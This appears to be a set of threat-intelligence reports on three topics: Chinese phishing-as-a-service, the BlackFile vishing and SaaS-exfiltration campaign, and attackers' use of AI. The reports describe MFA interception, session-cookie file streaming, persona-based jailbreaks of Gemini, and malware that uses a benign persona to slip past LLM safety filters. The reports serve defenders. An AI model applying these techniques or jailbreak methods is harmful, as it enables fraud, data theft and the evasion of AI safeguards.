• Extensive offering: While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, forming a complete, mature, and extensive offering. These include the sale of personally identifiable information (PII), domain name registration and virtual private server (VPS) hosting services, server rentals, money laundering services, eavesdropping devices (International Mobile Subscriber Identity [IMSI] catchers), and message sending services (spamming assistance). Some platform vendors are also involved in trading stolen payment card information. 

Notable Chinese-Language PhaaS TTPs

1. Delivery via RCS and iMessage: These attacks begin by exploiting trust in modern communication. Rather than traditional SMS, these Chinese-language PhaaS operators heavily leverage Rich Communication Services (RCS) and Apple’s iMessage. Protocols that use end-to-end encryption make it difficult for server-side delivery infrastructure to inspect or filter malicious links, which makes on-device protections critical. Messages also contain more extensive engagement features (including read receipts, typing indicators, group chat functionalities, as well as the ability to send high-resolution images, videos, and larger files). This makes them ideal for social engineering operations, as lures appear remarkably legitimate to the average user. 
2. Real-time Interception: When a victim clicks a malicious link and enters their credentials, the data is displayed instantly on an administrative panel. This allows an adversary to interact with the victim in real-time. As the victim is prompted for an OTP, an attacker simultaneously triggers that same OTP request on their own device. The victim enters the code into the phishing page, and the attacker captures it seconds before it expires.
3. Leveraging Digital Wallets for Monetization: A defining characteristic of these operations is their exploitation of digital wallet provisioning to monetize stolen payment details. Attackers use captured credentials and OTPs to provision the victim’s card into a digital wallet on an attacker-controlled device. Once tokenized, the card can be used for high-value transactions, contactless payments, and ATM withdrawals. While payment card data theft is the focus, this ecosystem also develops brokerage-focused templates, which can be used to facilitate traditional account takeovers (ATO) for wire fraud and stock manipulation.
4. AI-Based Automation: Multiple Chinese-language PhaaS operators have adopted AI for their operations to enable scale and stealth. As one example, the Darcula PhaaS platform, which we link to UNC5814, has moved away from static templates, instead utilizing AI-powered page generators and browser automation tools like Puppeteer. This enables users to clone legitimate websites by replicating their HTML, CSS, JavaScript, and visual elements through providing the target website's URL. As each phishing page is unique as opposed to relying on static templates, signature-based detection methods are rendered increasingly ineffective. 

Localization-as-a-Service

The Chinese-speaking PhaaS ecosystem has shifted towards a highly automated model capable of generating localized content for diverse international markets. Unlike traditional phishing kits that have historically relied on static and poorly translated templates, these operators provide the infrastructure for cultural fluency at scale. By offering everything from AI-powered page generators to region-specific delivery assistance, they enable low-skilled affiliates to launch high-fidelity campaigns. 

YY Lai Yu (YY来鱼): A Case Study in Localization

YY Lai Yu (YY来鱼), first advertised in August 2024, is one example of a PhaaS offering that provides a local digital ecosystem. While the platform supports phishing across 119 countries, its largest focus has been on Japan. Managed by a core team including "YY Lai Yu," "Jeffrey Carrie," and "Very casual," the service provides Chinese-speaking threat actors with the localized infrastructure necessary to effectively target the Japanese consumer ecosystem.

Since November 2025, YY Lai Yu has offered more than 400 phishing templates to its customers, moving beyond generic banking lures to also target the digital lifestyle of Japanese residents. These templates included various Japanese language and Japanese brands, including for Amazon, Apple, DMM, Epos Card, JA Bank, JCB Card, JR (Rail), Matsui Securities, Mercari, Monex, Nintendo, Nomura Securities, Orico Card, PayPay, Rakuten Securities, and Sagawa Express. However, instead of merely providing fake account pages, the threat actors tapped heavily into local consumer habits by developing "points" (积分) and rewards redemption lures, pressuring victims to redeem supposedly expiring loyalty points for cash or goods. Demonstrating a deep awareness of the local economic climate, the operators also exploited cost-of-living concerns by crafting lures around the Japan Winter Electricity Subsidy. 

By deploying distinct domains that impersonate everything from local transit and payment apps to major e-commerce and gaming platforms, YY Lai Yu provides an example of how comprehensive these PhaaS offerings have become. To protect this highly localized infrastructure, the phishing sites featured a unique human verification anti-bot screen that appeared prior to the actual phishing page. By requiring a manual click to proceed, this mechanism successfully hindered automated analysis by security vendors, adding a layer of stealth to the localized campaign.

Like most other services, YY Lai Yu leverages RCS and iMessage to send encrypted messages in bulk and supports synchronized interactions with victims to harvest payment card and OTP data. The administration panel allows users to query their phished data and blocklist or highlight certain types of cards according to their BIN number, blocklist individual countries or territories, and register and manage new domains for their phishing pages using Alibaba's domain registration service. Additionally, panel administrators can create new operator users and assign them permissions. The service also offers domains that can be purchased within the administration panel. 

While YY Lai Yu showcases a focus on countries like Japan, the broader Chinese PhaaS ecosystem casts a wide global net. GTIG has observed other prominent services routinely deploying automated infrastructure to compromise users across the Americas, Europe, Australia, and the Middle East. 

Outlook 

The continued popularity of these services demonstrates a sustained interest in payment card fraud from China-based threat actors. The multitude of sophisticated PhaaS platforms available for purchase and the threat actors' focus on the exploitation of digital wallet tokenization and MFA bypass demonstrates that the China-based criminal ecosystem continues to evolve, enabling threat actors with limited technical skills to conduct phishing operations. 

Standard phishing security measures (such as user awareness training) remain an important first line of defense. However, the proliferation of the Chinese-language PhaaS ecosystem underscores a need for technical security controls that go beyond user education. For example, transitioning to FIDO2/WebAuthn infrastructure represents an effective countermeasure against the real-time interception of account authentication OTPs. While security keys cannot prevent a user from entering payment details into a novel phishing site directly, increasing the difficulty of leveraging stolen credentials still radically shrinks an adversary's opportunities. These enterprise authentication upgrades should be paired with risk-based verification and device fingerprinting by issuing banks during the digital wallet provisioning process.

As these operators continue to refine their tooling, the goal for defenders must shift from simply "detecting" a phish to making the victim's credentials technically impossible to weaponize. Ongoing and frequent updates to these platforms indicate that Chinese-speaking PhaaS operators are continuing to refine their tooling to maximize global impact.

Written by: Austin Larsen, Tyler McLellan, Genevieve Stark, Dan Ebreo

Introduction 

Google Threat Intelligence Group (GTIG) has continued to track an expansive extortion campaign by UNC6671, a threat actor operating under the "BlackFile" brand, that targets organizations via sophisticated voice phishing (vishing) and single sign-on (SSO) compromise. By leveraging adversary-in-the-middle (AiTM) techniques to bypass traditional perimeter defenses and multi-factor authentication (MFA), UNC6671 gains deep access to cloud environments. The group primarily targets Microsoft 365 and Okta infrastructure, leveraging Python and PowerShell scripts to programmatically exfiltrate sensitive corporate data for subsequent extortion attempts. This post details UNC6671’s attack lifecycle and provides defenders with actionable guidance to detect and mitigate these identity-centric threats.

Since emerging in early 2026, UNC6671 has maintained a high operational cadence. GTIG assesses that the group has targeted dozens of organizations across North America, Australia, and the UK.

GTIG previously highlighted UNC6671 as a distinct cluster in a prior report detailing similar SaaS data-theft techniques utilized by ShinyHunters (UNC6240). While UNC6671 has co-opted the ShinyHunters brand in at least one instance to inject artificial credibility into their threats, GTIG assesses that the operations are independent. This distinction is supported by UNC6671's use of separate TOX communication channels, unique domain registration patterns, and the launch of a dedicated "BlackFile" data leak site (DLS).

These compromises are not the result of a security vulnerability in vendor products or infrastructure. Instead, this campaign continues to highlight the effectiveness of social engineering and underscores the critical importance of organizations moving toward phishing-resistant MFA to protect their SaaS and identity platforms.

Initial Access

UNC6671 initial access operations rely on high-volume voice phishing (vishing), often characterized by meticulous social engineering tactics, synchronized with real-time credential harvesting. These vishing calls are typically made by "callers" hired by the threat actor. 

IT Deployment Pretext

The callers often call targeted employees' personal cellular phones to bypass security tooling and move the victim away from standard support channels. They typically masquerade as internal IT or help desk personnel, citing a mandatory migration to passkeys or a required multi-factor authentication (MFA) update. This pretext justifies directing the victim to a credential harvesting site and provides a logical cover for any subsequent security alerts generated during the compromise. UNC6671 has shifted from unique, organization-tailored credential harvesting domains to a subdomain-based model. These domains are typically registered with Tucows. Recent campaigns have used subdomains explicitly referencing "passkey" or "enrollment" themes to enhance the legitimacy of the help desk pretext.

• <organization>.enrollms[.]com
• <organization>.passkeyms[.]com
• <organization>.setupsso[.]com

Real-Time MFA Interception

The vishing call functions as a live adversary-in-the-middle (AitM) attack. The process follows a rapid, procedural lifecycle:

• Redirection: The victim is directed to a lookalike subdomain mirroring the organization's single sign-on (SSO) portal.

• Credential Capture: As the victim inputs their username and password, the threat actor captures these in real-time and immediately submits them to the legitimate SSO provider.

• MFA Bypass: When the legitimate portal issues an MFA challenge (Push, SMS, or TOTP), the victim—believing they are completing a setup step—provides the code or approval to the threat actor.

• Device Registration: Upon gaining access, the threat actor immediately navigates to the user's security settings to register a new, attacker-controlled MFA device to ensure persistence.

The speed of this execution ensures the threat actor can establish a permanent foothold before the victim or the organization's Security Operations Center (SOC) can identify the anomaly.

Data Theft

Following successful authentication, UNC6671 leverages SSO access to move laterally across the victim's SaaS applications to enable data theft operations. The threat actors appear to be focused on targeting Microsoft 365 and Okta environments, using compromised accounts to access SharePoint, OneDrive, and other connected SaaS applications such as Zendesk and Salesforce. In several instances, the actors specifically queried internal search functions for string literals such as "confidential" and "SSN" to prioritize theft of perceived high-value data.

Programmatic Data Exfiltration

Upon establishing persistence, UNC6671 transitions from interactive browser-based reconnaissance to automated exfiltration. In multiple engagements, we observed the use of scripts to harvest high-value data from SharePoint and OneDrive repositories.

In addition to relying on methods that triggered standard FileDownloaded events, the threat actor has also used less conspicuous approaches. These include the threat actor’s use of formal APIs, such as Microsoft Graph, as well as  the python-requests library and PowerShell to issue direct HTTP GET requests against document resource URLs. Notably, by repurposing valid session cookies (e.g., FedAuth) captured during the initial vishing phase, the actor has been able to "stream" file content directly to attacker-controlled infrastructure.

In these cases, the request mimics a standard web client fetch rather than a formal "Download" command. As a result, the activity is frequently recorded as a FileAccessed event rather than FileDownloaded. This 'direct fetch' method naturally blends into routine traffic, which may bypass detection in many Security Operations Centers (SOCs) that prioritize FileDownloaded events and treat FileAccessed as benign.

Forensic Artifacts and Scripting

Analysis of Microsoft 365 Unified Audit Log (UAL) telemetry revealed several consistent forensic indicators of UNC6671 activity, including clear evidence of scripted exfiltration. Most notably, the threat actor frequently showed User-Agent mismatches; while they spoofed the ClientAppId for "Microsoft Office" to bypass basic conditional access filters, the recorded UserAgent strings identified scripting engines such as python-requests/2.28.1 or WindowsPowerShell/5.1. This discrepancy suggests that access was driven by automated scripts rather than human interaction with the SharePoint user interface. Additionally, these access attempts consistently originated from non-standard infrastructure, such as commercial VPN exit nodes and hosting providers.

{
  "CreationTime": "2026-02-24T14:36:15",
  "Operation": "FileDownloaded",
  "Workload": "SharePoint",
  "ClientIP": "179.43.185.226", 
  "UserId": "victim.user@organization.com",
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "Microsoft Office",
  "IsManagedDevice": false,
  "SourceFileName": "2382_REDACTED_MSA_v3.docx",
  "SourceRelativeUrl": "Shared Documents/Legal/MasterMSA/Archive",
  "SiteUrl": "https://organization.sharepoint.com/sites/Legal_Archive/",
  "AppAccessContext": {
    "ClientAppId": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
    "ClientAppName": "Microsoft Office",
    "TokenIssuedAtTime": "1601-01-01T00:00:00"
  }
}

Figure 1: FileDownloaded event observed in early UNC6671 intrusions

{
  "CreationTime": "2026-03-18T20:06:41",
  "Operation": "FileAccessed",
  "Workload": "SharePoint",
  "UserId": "victim.user@company.com",
  "ClientIP": "179.43.185.226", 
  "UserAgent": "python-requests/2.28.1",
  "ApplicationDisplayName": "python-requests",
  "IsManagedDevice": false,
  "SourceRelativeUrl": "Shared Documents/Data Analytics/Power BI Version History",
  "SourceFileName": "Weekly Production Report.pbix",
  "SiteUrl": "https://company.sharepoint.com/sites/ProductionOps/",
  "AppAccessContext": {
    "ClientAppName": "python-requests",
    "CorrelationId": "b94b01a2-2019-c000-2262-5ff1d0ff6cc8"
  }
}

Figure 2: FileAccessed event from later UNC6671 intrusions

The speed and scale of UNC6671’s data exfiltration also reflects the automated nature of these scripts, which allows the threat actors to exfiltrate massive volumes of data at high speeds. In one case, the threat actor used their Python script from a remote IP to access and download over a million individual files from a victim's SharePoint and OneDrive environments. In another case, the threat actor rapidly iterated through tens of thousands of SharePoint file interactions.

Extortion

UNC6671 conducts highly targeted extortion campaigns, beginning with unbranded ransom notes sent from programmatically generated consumer email accounts. Once a victim engages via the unique, encrypted communication channel (such as Tox or Session) provided by the threat actor in the initial ransom note, the operators identify themselves under the "BlackFile" brand. While the operators typically open negotiations with initial demands in the millions of dollars, they often pivot to low six-figure demands when met with active engagement. Notably, while the initial emails typically do not contain errors, at least some follow up emails have contained mistakes suggesting that those are human generated.

In cases where the operator is met with silence or resistance, the group aggressively escalates pressure. During a recent incident, after the victim was unresponsive, UNC6671 pivoted to an aggressive spam campaign. Using dozens of Gmail accounts with randomly generated usernames, the threat actor flooded employee mailboxes with messages before automated restrictions kicked in based on their sending behavior and their accounts were restricted. We have also observed these threat actors sending threatening voicemails to C-suite executives and, in severe cases, utilizing swatting tactics against company personnel.

Figure 3: Generalized example initial unbranded extortion note from UNC6671

Figure 4: Generalized example follow up extortion email which included branding not present in initial messages

Evolution of Ransom Notes

Throughout their operations in early 2026, UNC6671's ransom notes exhibited an evolution in formatting, branding, and communication methods. Initially, the threat actors used highly aggressive, short-term deadlines, often giving early victims generic 24 or 48 hour windows to respond. This appeared to become more standardized in late January when they gave subsequent targets a strict 72-hour deadline. Their email subject lines also evolved into a formalized, all-caps structure: [COMPANY NAME] DATA BREACH 72 HOURS TO CONTACT US.

During this same period, the group’s identity and preferred communication channels shifted. Early extortion emails were unbranded, with the actors demanding contact via Tox (a peer-to-peer instant messaging protocol). By February 2026, the group formally adopted the "BlackFile" moniker and transitioned their communication demands exclusively to Session (a decentralized, privacy-focused messenger), providing victims with Session IDs and client download instructions. Additionally, while early extortion notes were sent from external emails that could easily be flagged by spam filters or ignored, since at least March 2026, UNC6671 has leveraged hijacked internal corporate email and Microsoft Teams accounts. 

The BlackFile Data Leak Site (DLS)

The threat actors launched the BlackFile Data Leak Site (DLS) on February 6, 2026, claiming to operate as "security researchers." Despite maintaining a dedicated DLS, the group's approach to data exposure deviates significantly from the maximum-publicity, high-noise model employed by other actors. UNC6671 does not publicly advertise their leak site or attempt to index it for search engines. Furthermore, the group has typically only leaked limited file samples and directory listings rather than full datasets; to date, GTIG has not observed the actor leak victim data in full.

Notably, the BlackFile DLS site went offline in late April 2026, but briefly came back online on May 11, 2026 to share the below message before shutting down again. In this message, the threat actor stated "BlackFile is shutting down… under this name." As of the time of publication, the DLS site is inaccessible.

Remediation and Hardening

GTIG recommends the following mitigations and hunting strategies:

• Deploy Credential Guarding: Configure environment-specific protections to catch credential submission at the point of impact. In Google Workspace, enable Password Alert to monitor for corporate password hashes being entered into unauthorized domains. For Microsoft environments, leverage Microsoft Defender's Credential Protection and SmartScreen to intercept submissions on known phishing or low-reputation sites. These automated technical controls act as a final fail-safe, triggering immediate password resets or security alerts when a user inadvertently interacts with a malicious page.

• Implement Phishing-Resistant MFA: Transition away from SMS-based or push-notification MFA. Implement FIDO2-compliant security keys or passkeys, which are resistant to the adversary-in-the-middle (AiTM) and vishing tactics employed by UNC6671.

• Monitor IdP Logs: Review identity provider logs for system.multifactor.factor.setup events that are immediately preceded by user.authentication.auth_via_mfa failures or "Abandoned" challenges.

• Correlate Infrastructure: Alert on authentication attempts originating from known commercial VPNs or hosting providers that are abnormal for the user's typical geographic location.

• Audit SaaS API Activity: Monitor Microsoft 365, SharePoint, and Salesforce audit logs for anomalous, high-volume file downloads (FileDownloaded or FileAccessed events) originating from generic scripting user agents (e.g., PowerShell, Python).

• Monitor User-Agents: Monitor for specific IdP SDK User-Agents on devices not previously associated with a user's profile.

• Re-Evaluate "Access" Severity: Security Operations Centers (SOCs) should treat FileAccessed events with the same criticality as FileDownloaded when the User-Agent identifies it as a programming library (Python, Go, etc.) or a command-line tool.

• Audit for Direct File Streaming: Monitor for FileAccessed logs where the AppAccessContext indicates a headless client or where the volume of "Accessed" files in a short window exceeds human browsing capability.

Outlook and Implications

The recent shutdown of the BlackFile data leak site (DLS) accompanied by the actors' own declaration that they are shutting down "under this name" signals a possible transition phase rather than a permanent cessation of their threat activity. Historical precedents across the extortion ecosystem demonstrate that major threat clusters commonly rebrand or disperse their operations following disruption or voluntary shutdowns. These events can serve several strategic functions: evading law enforcement or competitor scrutiny, quietly resolving pending extortion cases, or preparing to pivot to a more viable brand while simultaneously also allowing time for the threat actors to retool and/or set up new infrastructure. Even if the BlackFile brand is permanently retired, the techniques leveraged by UNC6671, specifically their focus on data theft from cloud and SaaS environments, represent a highly successful trend in the cyber crime threat landscape that we also highlighted in the Google Cloud H1 2026 Cloud Threat Horizons Report. Organizations can review our prior blog post with actionable hardening, logging, and detection recommendations to help protect against these threats.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have provided indicators of compromise (IOCs) in a free GTI Collection for registered users. At the time of publication, identified phishing domains have been added to Google Safe Browsing.

While this collection provides a comprehensive list of IOCs, defenders should note that the majority of identified IP addresses are commercial VPN nodes, and actual source IPs tend to vary as the actor continuously cycles through new infrastructure. Furthermore, the domains are often stood up and used within minutes of registration; as such, they are provided primarily as examples of past naming conventions and usage patterns rather than as a primary mechanism for real-time blocking.

Google Security Operations (SecOps)

Google SecOps customers have access to broad category rules under the Okta and O365 rule packs that detect the behaviors outlined in this report. The activity discussed in the blog post is detected in Google SecOps under the following rule names:

• Okta Admin Console Access Failure

• Okta Suspicious Actions from Anonymized IP

• O365 SharePoint Bulk File Access or Download via PowerShell

• O365 SharePoint High Volume File Access Events

• O365 Sharepoint Query for Proprietary or Privileged Information

Executive Summary

Since our February 2026 report on AI-related threat activity, Google Threat Intelligence Group (GTIG) has continued to track a maturing transition from nascent AI-enabled operations to the industrial-scale application of generative models within adversarial workflows. This report, based on insights derived from Mandiant incident response engagements, Gemini, and GTIG’s proactive research, highlights the dual nature of the current threat environment where AI serves as both a sophisticated engine for adversary operations and a high-value target for attacks. We explore the following developments:

• Vulnerability Discovery and Exploit Generation: For the first time, GTIG has identified a threat actor using a zero-day exploit that we believe was developed with AI. The criminal threat actor planned to use it in a mass exploitation event but our proactive counter discovery may have prevented its use. Threat actors associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK) have also demonstrated significant interest in capitalizing on AI for vulnerability discovery. 

• AI-Augmented Development for Defense Evasion: AI-driven coding has accelerated the development of infrastructure suites and polymorphic malware by adversaries. These AI-enabled development cycles facilitate defense evasion by enabling the creation of obfuscation networks and the integration of AI-generated decoy logic in malware that we have linked to suspected Russia-nexus threat actors.

• Autonomous Malware Operations: AI-enabled malware, such as PROMPTSPY, signal a shift toward autonomous attack orchestration, where models interpret system states to dynamically generate commands and manipulate victim environments. Our analysis of this malware reveals previously unreported capabilities and use cases for its integration with AI. This approach allows threat actors to offload operational tasks to AI for scaled and adaptive activity.

• AI-Augmented Research and IO: Adversaries continue to leverage AI as a high speed research assistant for attack lifecycle support, while shifting toward agentic workflows to operationalize autonomous attack frameworks. In information operations (IO) campaigns, these tools facilitate the fabrication of digital consensus by generating synthetic media and deepfake content at scale, exemplified by the pro-Russia IO campaign “Operation Overload.”

• Obfuscated LLM Access: Threat actors now pursue anonymized, premium tier access to models through professionalized middleware and automated registration pipelines to illicitly bypass usage limits. This infrastructure enables large scale misuse of services while subsidizing operations through trial abuse and programmatic account cycling.

• Supply Chain Attacks: Adversaries like "TeamPCP" (aka UNC6780) have begun targeting AI environments and software dependencies as an initial access vector. These supply chain attacks result in multiple types of machine learning (ML)-focused risks outlined in the Secure AI Framework (SAIF) taxonomy, namely Insecure Integrated Component (IIC) and Rogue Actions (RA). Our analysis of forensic data associated with these attacks reveals threats actors attempting to pivot from compromised AI software to broader network environments for initial access and to engage in disruptive activities, such as ransomware deployment and extortion.

Attackers rarely shy away from experimentation and innovation, but neither do we. In addition to  sharing our findings and mitigations with the larger security and AI community, Google employs proactive measures to stay ahead of these constantly changing threats. Google enhances our products’ safeguards to offer scaled protections to users. For Gemini, we mitigate model abuse by disabling malicious accounts. Furthermore, we leverage AI agents like Big Sleep to identify software vulnerabilities and use Gemini’s reasoning capabilities via the likes of CodeMender to automatically fix them, proving that AI can also be a powerful tool for defenders.

AI as a Tool

Threat actors are leveraging AI to augment various phases of the attack lifecycle. This includes supporting the development of vulnerability exploits and malware, facilitating autonomous execution of commands, enabling more targeted and well-researched reconnaissance, and improving the efficacy of social engineering and information operations.

AI-Augmented Vulnerability Discovery and Exploit Development

As the coding capabilities of AI models advance, we continue to observe adversaries increasingly leverage these tools as expert-level force multipliers for vulnerability research and exploit development, including for zero-day vulnerabilities. While these tools empower defensive research, they also lower the barrier for adversaries to reverse-engineer applications and develop sophisticated, AI-generated exploits.

State-Sponsored Threat Actors Demonstrate Sophisticated Approaches to Leveraging AI for Vulnerability Research

While we observe a variety of threat actors leveraging AI for vulnerability research, we noted a particular interest from several clusters of threat activity associated with the People’s Republic of China (PRC) and the Democratic People's Republic of Korea (DPRK). These actors have leveraged sophisticated approaches toward AI-augmented vulnerability discovery and exploitation, beginning with persona-driven jailbreaking attempts and the integration of specialized, high-fidelity security datasets to augment their vulnerability discovery and exploitation workflows.

• As we highlighted in prior blog posts, threat actors often leverage expert cybersecurity personas as a structured approach to prompt Gemini. For instance, we recently observed UNC2814 use this form of expert persona prompting by directing the model to act as a senior security auditor or C/C++ binary security expert. The fabricated scenarios were used to support vulnerability research into various embedded device targets, including TP-Link firmware and Odette File Transfer Protocol (OFTP) implementations.

Figure 1: Example of false narratives used to support persona-driven jailbreaking, a simple form of prompt injection

• In a more sophisticated use case, we observed threat actors experiment with a specialized vulnerability repository hosted on GitHub known as “wooyun-legacy.” The project is designed as a Claude code skill plugin that integrates a distilled knowledge base of over 85,000 real-world vulnerability cases collected by the Chinese bug bounty platform WooYun between 2010 and 2016. By priming the model with vulnerability data, it facilitates in-context learning to steer the model to approach code analysis like a seasoned expert and identify logic flaws that the base model might otherwise fail to prioritize.

In their pursuit of this vulnerability research, we see clear indications of automation and scaled research. In addition to leveraging individual prompts for real-time troubleshooting, we have observed APT45 sending thousands of repetitive prompts that recursively analyze different CVEs and validate PoC exploits. This results in a more robust arsenal of exploit capabilities that would be impractical to manage without AI assistance.

To facilitate these activities, actors are also experimenting with agentic tools such as OpenClaw and OneClaw alongside intentionally vulnerable testing environments. The use of these tools alongside vulnerability research suggests an interest in refining AI-generated payloads within controlled settings to increase exploit reliability prior to deployment.

Cyber Crime Threat Actors Discover and Weaponize Zero-Day Using AI

Cyber crime threat actors remain interested in leveraging AI for vulnerability development as well. In one notable example, we observed prominent cyber crime threat actors partnering to plan a mass vulnerability exploitation operation. Our analysis of exploits associated with this campaign identified a zero-day vulnerability implemented in a Python script that enables the user to bypass two-factor authentication (2FA) on a popular open-source, web-based system administration tool. GTIG worked with the impacted vendor to responsibly disclose this vulnerability and disrupt this threat activity.

Although we do not believe Gemini was used, based on the structure and content of these exploits, we have high confidence that the actor leveraged an AI model to support the discovery and weaponization of this vulnerability. For example, the script contains an abundance of educational docstrings, including a hallucinated CVSS score, and uses a structured, textbook Pythonic format highly characteristic of LLMs training data (e.g., detailed help menus and the clean _C ANSI color class).

The vulnerability can be classified as a 2FA bypass, though it requires valid user credentials in the first place. It stems not from common implementation errors like memory corruption or improper input sanitization, but a high-level semantic logic flaw where the developer hardcoded a trust assumption. While fuzzers and static analysis tools are optimized to detect sinks and crashes, frontier LLMs excel at identifying these types of high-level flaws and hardcoded static anomalies. Though frontier LLMs struggle to navigate complex enterprise authorization logic, they have an increasing ability to perform contextual reasoning, effectively reading the developer's intent to correlate the 2FA enforcement logic with the contradictions of its hardcoded exceptions. This capability can allow models to surface dormant logic errors that appear functionally correct to traditional scanners but are strategically broken from a security perspective.

AI-Augmented Obfuscation: Evasion and Polymorphism

GTIG has identified multiple threat actors experimenting with AI models to develop malware and operational support tools to augment obfuscation capabilities. This has included innovative applications of AI to incorporate just-in-time dynamic modification of source code, enable dynamic payload generation, assist in development of ORB network management tools, and generate decoy code (Table 1). While often experimental, this transition underscores a move toward AI-driven, evasive software suites.

In prior reports, we highlighted malware families like PROMPTFLUX, notable for its experimentation using the Gemini API to generate code, and HONESTCUE, which interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate just-in-time self-modification to evade static signature-based detection. In this report, we highlight additional tools and malware families created with the assistance of AI to support obfuscation and defense evasion.

We observed activity associated with the PRC-nexus threat actor APT27, which has leveraged Gemini to accelerate the development of a fleet management application likely to support the management of an operational relay box (ORB) network. Our observations of the tool revealed a "maxHops" parameter hardcoded to 3 hops, an indicator that the tool was related to development of an anonymization network rather than a VPN since those are typically set to 1 hop. Additionally, the tool lists MOBILE_WIFI and ROUTER as supported device types, suggesting it uses 4G or 5G SIM cards to provide residential IP addresses to potentially obfuscate the true origin of the intrusion activity. 

Additionally, GTIG has continued to observe Russia-nexus intrusion activity targeting Ukrainian organizations to deliver AI-enabled malware as part of their operations. Analysis confirms the use of CANFAIL and LONGSTREAM, which utilize LLM-generated decoy code to obfuscate their malicious functionality. 

• We identified multiple developer (i.e., the LLM) comments throughout CANFAIL's source code that specifically call out certain blocks of code that are not used and were likely incorporated as filler content designed to obfuscate malicious activity. The explanatory nature of these comments surrounding the decoy logic likely indicates the threat actor requested the LLM generate outputs that intentionally contained large amounts of inert code potentially for obfuscation (Figure 4).

• Similarly, our examination of the LONGSTREAM code family suggests a large volume of decoy logic was likely generated to camouflage the malicious nature of the code family. LONGSTREAM contains coherent but inactive blocks of code related to administrative tasks that are unrelated to the primary objective of the downloader. For example, we identified 32 instances of the code querying the system's daylight saving status. This type of repetitive query exists to populate the script with activity that can appear benign (Figure 5).

AI-Augmented Attack Orchestration: PROMPTSPY

Adversaries are advancing their implementation of AI-enabled tooling, moving beyond content generation and tool development and into more sophisticated autonomous attack orchestration for malware commands. Threat actors have begun relying on LLMs for interactive system navigation and real-time decision making. By integrating LLMs into malware operations, attackers can enable payloads to act autonomously, independently interacting with the victim environment or device, synthesizing system states, and executing precise commands devoid of human supervision.

A primary example of this evolution is PROMPTSPY, an Android backdoor first identified by ESET. Initial public reporting highlighted PROMPTSPY’s use of the Google Gemini application programming interface (API) to facilitate persistence, specifically by navigating the Android UI to pin the malicious application in the "recent apps" list. However, GTIG's examination of the backdoor revealed additional capabilities and use cases for its AI integration. We assess the malware's LLM component was designed to be extensible to support a broader range of goals centered around navigating the Android user interface and autonomously interpreting real-time user activity for follow-on actions. 

PROMPTSPY contains an autonomous agent module named “GeminiAutomationAgent,” which leverages a hardcoded prompt to facilitate automated interaction with the targeted device.

• The prompt assigns a benign persona to bypass the LLM's safety filters, then requests an analysis of complex spatial mathematics by instructing the LLM to calculate the geometry of the targeted user interface bounds. This is paired with a set of "Core Judgment Rules" that implement anti-hallucination measures and a “User Goal” concatenated to the prompt as part of a separate routine (Figure 6).

• The module then serializes the device's visible user interface hierarchy into an XML-like format via the Accessibility API, sending this payload to the “gemini-2.5-flash-lite” model via an HTTP POST request in "JSON Mode." 

• The model returns a structured JSON response based on the supplied user goal, dictating specific action types and spatial coordinates, which the malware parses using a packed-switch instruction to simulate physical gestures (e.g., CLICK, SWIPE). Since the user goal is not hardcoded in the initial prompt but supplied as part of a separate routine, we believe PROMPTSPY was likely designed to facilitate multiple types of device interactions.

Additionally, PROMPTSPY can capture victim biometric data to replay authentication gestures (personal identification numbers or lock patterns) to regain access to a compromised device for follow-on exploitation. These AI-enabled capabilities are a notable evolution from conventional Android backdoors that heavily rely on human interaction.

To maintain persistence, PROMPTSPY utilizes a novel multi-layered defense mechanism to camouflage its activity and prevent uninstallation. 

• If the victim tries to uninstall PROMPTSPY, the malware employs its 'AppProtectionDetector' module to identify the on-screen coordinates of the 'Uninstall' button. The malware renders an invisible overlay directly over the button as a shield that silently intercepts and consumes the victim's touch events, making the button appear unresponsive to the user.

• If the victim device becomes inactive, PROMPTSPY operators can utilize Firebase Cloud Messaging (FCM) to relaunch the backdoor, allowing the threat actor to continue their intrusion activity without alerting the victim. 

While PROMPTSPY initializes using hardcoded default infrastructure and credentials, the malware is designed with high operational resilience, allowing adversaries to rotate critical components at runtime without redeploying the PROMPTSPY payload. Specifically, the malware’s command-and-control (C2) infrastructure, including the Gemini API keys and the VNC relay server, can be updated dynamically via the C2 channel. This configuration model demonstrates the developers anticipated defensive countermeasures and engineered the backdoor to maintain presence even if specific infrastructure endpoints are identified and blocked by defenders.

Google has taken action against this actor by disabling the assets associated with this activity. Based on our current detection, no apps containing PROMPTSPY are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services.

AI-Augmented Research, Reconnaissance, and Attack Lifecycle Support

Malicious adversaries' most common use case for LLMs mirrors that of standard users – they conduct research and troubleshoot tasks. GTIG has observed a variety of threat actors engaging in this type of prompting to support research, reconnaissance, and troubleshooting throughout various phases of the attack lifecycle. By automating intelligence gathering and task support, these interactions lower the barrier to entry for complex, multi-stage operations and enable threat actors to focus their human capital on the higher-order strategic elements of campaigns.

Adversaries frequently use LLMs to perform reconnaissance that would previously have required significant manual effort. For instance, we have observed actors prompting models to generate detailed organizational hierarchies for specific departments and third-party relationships of large enterprises, particularly those involving high-value functions like finance, internal security, and human resources. This data allows for the creation of higher-fidelity phishing lures tailored to individuals with administrative privileges or access to sensitive data, moving beyond the commodity tactics of traditional bulk phishing.

In more targeted scenarios, actors have used LLMs to identify specific hardware or software environments used by their victims. In one instance, a threat actor attempted to identify the exact make and model of a computer used by a high-value target, even requesting the LLM identify a collection of photos showing the targeted individual using the device. This level of environmental fingerprinting often precedes the development of tailored exploits or identification of side-channel attack opportunities.

Beyond basic chat interfaces, we see a sophisticated shift toward agentic workflows where adversaries operationalize autonomous frameworks to execute multi-stage security tasks. This marks a significant evolution in the maturity of AI-related threats: the LLM is no longer merely a passive advisor but an active participant in the offensive chain, capable of orchestrating complex toolsets and making tactical decisions at machine speed.

For example, we recently analyzed a suspected PRC-nexus threat actor deploying agentic tools like Hexstrike and Strix against a Japanese technology firm and a prominent East Asian cybersecurity platform. Hexstrike was utilized alongside the Graphiti memory system, a temporal knowledge graph, to maintain a persistent state of the attack surface, allowing the agent to autonomously pivot between tools like subfinder and httpx based on its internal reasoning. Simultaneously, the actor leveraged Strix, a multi-agent penetration testing framework, to automate the identification and validation of vulnerabilities. This combination of autonomous reconnaissance and automated verification suggests a transition toward AI-driven frameworks that can scale discovery activities with minimal human oversight.

